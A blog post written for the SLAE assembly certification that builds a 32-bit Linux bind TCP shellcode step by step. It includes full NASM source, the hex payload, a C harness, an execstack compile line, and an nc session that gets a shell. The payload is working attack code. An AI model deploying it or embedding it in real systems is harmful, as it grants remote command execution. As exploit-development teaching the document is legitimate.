Assignment 01

Bind TCP Shellcode

Saleh Ali Bin Muhaysin

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: **SLAE-1101**

1. Introduction:

In this article, we will program an assembly **Bind TCP Shellcode** for Linux Ubuntu 32bit, we will use the following tools during our programming:

- **NASM** (Netwide Assembler): assembler and disassembler for intel x86 architecture.
- **Objdump**: disassembler an executable to view disassembly code.
- **ld**: combine objects and archive files, relocate their data, and ties up symbol references.

All the executable files that we are going to generate are **elf32** format.

The purpose of the bind TCP shellcode is to listen on a specific port, and when any client connects to this port it will execute the **sh** program and give him the full control of it.

2. Bind TCP Shellcode:

The shellcode consists of three parts, first Prepare the socket, then give the **stdin**, **stdout**, and **stderr** to the client, and finally execute the **execve**:

2.1. prepare the socket:

- Create socket:

The first instruction is **xor eax, eax** (which will be used a lot to clear the eax register), then it pushed three values: **protocol**=0 (which is the eax indication of using IPv4), **type**=1 for TCP connection, and **domain**=2 for using Internet address. Here we can see that the "**int 0x80**" use the system call number **102** which is a **socketcall**. The socketcall require two arguments, the subroutine number and pointer to the subroutine arguments. Here the subroutine create **socket** (subroutine number **1**, stored in ebx) and the arguments for this subroutine stored in ecx (mov ecx, esp). Finally, the socket descriptor will be stored in **esi** register to be used later.

```
; ---------------------------------------
; create new socket
; int socket(int domain, int type, int protocol);
; push the arguments for socket function
xor eax, eax
xor ebx, ebx
push eax        ; protocol = AF_INET (IPv4)
push 1          ; type = SOCK_STREAM (TCP)
push 2          ; domain = AF_INET   (Internet address)
mov ecx, esp    ; get the argument

mov bl, 1       ; create socket subroutine
mov al, 102     ; __NR_socketcall
int 0x80
mov esi, eax    ; get the socket descriptor
```

Note: to check what the system call number means, I used the following command:

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep 102

and the result is:

```
#define __NR_socketcall 102
```

and to get the arguments for this system call use the command

man socketcall

```
int socketcall(int call, unsigned long *args);
```

I used this way for all other system calls to understand how they have been used.

- Bind:

Next we will have to bind the socket to specific address and port. Also, we will use the **socketcall** (eax=102) but this time we will use the subroutine bind (subroutine number 2 stored in ebx). This subroutine require three arguments passed to ecx, the socket descriptor as the first argument, and the address of socket address struct which contain the protocol to use 2 (AF_INET for **IPv4**) then the port number **7777** (0x611E in reverse order, since we pushed it to the stack), then for the IP address I didn't push it directly, instead I encoded it so the value **0x1001018f** will be XORed with **0x110101f0** to get the value **0x0100007f** (which is **127.0.0.1** in reverse order), notice if we pushed the **0x0100007f** directly then it will contain a null bytes. Finally, the last argument for the subroutine is the size of the address struct, which is **16 bytes** here.

```
; ----------------------------------------
; bind the socket
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
xor ebx, ebx

; struct sockaddr *addr
mov eax, 0x1001018f      ; xor 0x1001018f with 0x110101f0
xor eax, 0x110101f0      ; to get 0100007f (127.0.0.1)
push dword eax           ; Localhost 127.0.0.1 (in reverse order)
push word 0x611E         ; Port number 7777 (in reverse order)
push word 2              ; AF_INET (IPv4)
mov edx, esp
; push the arguments for bind function
push dword 16    ; socklen_t addrlen, structure socket size
push edx         ; addr, pointer to sockaddr struct
push esi         ; sockfd, use the socket descriptor
mov ecx, esp     ; get the argument

xor eax, eax
mov al, 102      ; __NR_socketcall
mov bl, 2        ; sub call bind, bind the socket just created
int 0x80
```

- Listen:

Next we have to listen to the port we just bind the socket to, then wait for any client trying to communicate with this socket. The **socketcall** subroutine number for listen is **ebx=4**. This subroutine requires two arguments, the **socket descriptor** (in **esi**) and the **queue size** (used **0** as queue size)

```
; ----------------------------------------
; listen on the port for any connection
; int listen(int sockfd, int backlog);
xor eax, eax

; push the arguments for listen function
push eax         ; backlog (queue size) , ecx = 0
push esi         ; sockfd, use the socket descriptor
mov ecx, esp     ; get the argument

mov al, 102      ; __NR_socketcall
mov bl, 4        ; sub call listen, list on the socket
int 0x80
```

- Accept:

If any client sent request for communication to the socket, we will call the **accept** to accept his request. The **accept** subroutine in **socketcall** is **ebx=5**, this subroutine require three arguments, the socket descriptor (in **esi**), and the socket address struct and its size that will be used to store client information, but since we will not use them we will pass 0 for both of them (**push eax**)

```
; ----------------------------------------
; accept any incoming connection
; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
xor eax, eax

; push the arguments for accept function
push eax        ; addrlen, client address length , al = 0
push eax        ; addr, client address   , al = 0
push esi        ; sockfd, use the socket descriptor
mov ecx, esp    ; get the argument

mov al, 102     ; __NR_socketcall
mov bl, 5       ; sub call accept, list on the socket
int 0x80

mov edi, eax    ; get the client descriptor
```

The result will be stored in the edi, which is the **client descriptor** which will be used later.

2.2. give the stdin, stdout, and stderr to the client:

After we accepted the client, we have to give him all the control of input, output, and error message. So, if the client type anything it will be passed as input, and any result will be passed to the client.

For this, we are going to use the system call **dup** (syscall number **eax=63**) which require two arguments (old descriptor = the client descriptor in **ebx**, and new descriptor = stdin/stdout/stderr with value 0,1, and 2 respectively in **ecx**). To do this we will use a **loop**, and since the ebx will not change during the loop we assigned it before the loop, then assigned the ecx=2 (**stderr**). Inside the loop we assigned the **syscall 63** to eax (the result will overwrite the eax, so we have to rewrite it in each iteration), then decrement the **ecx**, so next iteration ecx=1 (**stdout**), then ecx=0 (**stdin**). When the **ecx** become a negative, the **jns** will not met the condition and will not jump, and will continue.

```
        ; ----------------------------------------
        ; __NR_dup2: this will give the connector the control of
        ; out,in,error of the command line
        ; int dup2(int oldfd, int newfd);
        mov ebx, edi    ; old descriptor, client descriptor
        xor ecx, ecx
        mov cl, 2
dup_lab:
        xor eax, eax
        mov al, 63
        int 0x80
        dec cl
        jns dup_lab; loop until negative number (stdin=0, stdput=1, stderr=2)
```

2.3. execute the execve system call:

Finally, we will use the **execve** system call (syscall number eax=**11**) which require three arguments, the path to be executed **//bin/sh** and its arguments and environment. The last two arguments we don't need them so we will pass 0. The path push to the stack in reverse order and stored a pointer to it in the ebx as the first argument.

```
; ----------------------------------------
; __NR_execve 11: the connector a command line /bin/sh
; int execve(const char *filename, char *const argv[], char *const envp[]);
xor eax, eax
xor ecx, ecx
xor edx, edx
mov al, 11
; push the //bin/sh
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
int 0x80
```

3. Compiling script:

To test our shellcode we are going to use the following script, which will take a file name (without extension .nasm) then compile it using NASM, then use **ld** to link it, then remove the .o file. Finally, run the script

```
#!/bin/bash

echo "[+] Compiling with NASM..."
nasm -f elf32 -o $1.o $1.nasm

echo "[+] Linking ..."
ld -o $1 $1.o

echo "[+] Removing .o ..."
rm $1.o

echo "[+] Done!"
./$1

```

To get the hex of the **objdump** of the executable file, we are going to use the following script, which will take one argument (the shellcode executable file):

```
objdump -d $1 | grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr
'\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
```

The result is the following (change the hex in the **red** highlight to change the port number):

```
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\
xdb\xb8\x8f\x01\x01\x10\x35\xf0\x01\x01\x11\x50\x66\x68\x1e\x61\x66\x6a\x02\x89\xe
2\x6a\x10\x52\x56\x89\xe1\x31\xc0\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\
xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb0\x66\xb3\x05\xcd\x80\x89\xc
7\x89\xfb\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\xfe\xc9\x79\xf6\x31\xc0\x31\xc9\x3
1\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
```

Then we are going to use this hex shellcode and put it in a C program file:

```c
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xdb\xb8
\x8f\x01\x01\x10\x35\xf0\x01\x01\x11\x50\x66\x68\x1e\x61\x66\x6a\x02\x89\xe2\x6a\x10\x52
\x56\x89\xe1\x31\xc0\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb0\x66\xb3\x04\xcd
\x80\x31\xc0\x50\x50\x56\x89\xe1\xb0\x66\xb3\x05\xcd\x80\x89\xc7\x89\xfb\x31\xc9\xb1\x02
\x31\xc0\xb0\x3f\xcd\x80\xfe\xc9\x79\xf6\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\x51\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
;
int main(){
        printf("shellcode Length: %d\n" , strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}
```

And then compile it using the following shell script (compile-c.sh) which accept the C program as argument (without the .c extension):

```
gcc -fno-stack-protector -z execstack $1.c -o $1
```

4. Conclusion:

This Bind TCP shellcode will be run and create a socket and listen on address 127.0.0.1 port 7777 for any incoming connection, when any client connects to it, it will give him the control of stdin, stdout, and stderr. After that it execute the /bin/sh and finish its job and exit. The client will be able to communicate with /bin/sh and execute any command.

```
slae@ubuntu:~/Desktop/SLAE-Exam$ netstat -natp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:7777          0.0.0.0:*               LISTEN      13860/shellcode_bin
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -
tcp6       0      0 ::1:631                 :::*                    LISTEN      -
```

Here as we can see the shellcode_bind_tcp listen on 127.0.0.1 port 7777 after we run it.

```
slae@ubuntu:~/Desktop/SLAE-Exam4/Assignment01$ ./shellcode
shellcode Length: 121
```

```
slae@ubuntu:~/Desktop/SLAE-Exam4/Assignment01$ nc 127.0.0.1 7777
id
uid=1000(slae) gid=1000(slae) groups=1000(slae),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
```

Here we used **nc** to connect to the socket of the shellcode "**nc 127.0.0.1 7777**" and run the command "**id**", and as we can see the **/bin/sh** gave us the result of the **sh**.